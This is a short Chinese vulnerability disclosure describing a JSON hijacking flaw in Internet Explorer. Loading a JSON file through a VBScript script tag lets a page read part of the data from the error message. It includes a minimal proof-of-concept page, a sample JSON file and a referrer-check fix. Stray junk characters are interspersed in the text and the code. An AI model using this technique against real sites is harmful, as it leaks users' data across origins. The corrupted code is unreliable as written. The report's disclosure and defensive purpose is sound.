IE通用JSON劫持漏洞

admin

简要描述：

由于某些资源容器对数据处理不当导致json劫持漏洞.
6 a7 ^: R: ^, {/ R" f9 F$ B详细说明：
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
% b, z" X; R( G# Q6 M7 n3 e<script language=vbscript></script>

' _& ?  w; v+ c当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
. D% i+ `) h& c9 N' ^6 m* R漏洞证明：
<script>
window.onerror=function(_){
4 }' F! v6 b* R; P4 D: \  calert(_)
}
. [' V& N4 q9 y0 m1 z9 l</script>
7 V# V$ H" X5 D/ ?: E$ k1 s<script language=vbscript src=1.json></script>

5 A1 K! [  e1 _* t" M+ S: h
, i- i9 ]- v- l( ]" T) [  q+ p. G1.json:
[{"name":"sogili","age":19}]
修复方案：
5 O2 e4 a5 y  N  n, e网站业务对于这个问题可以通过验证referrer是否为同源来防御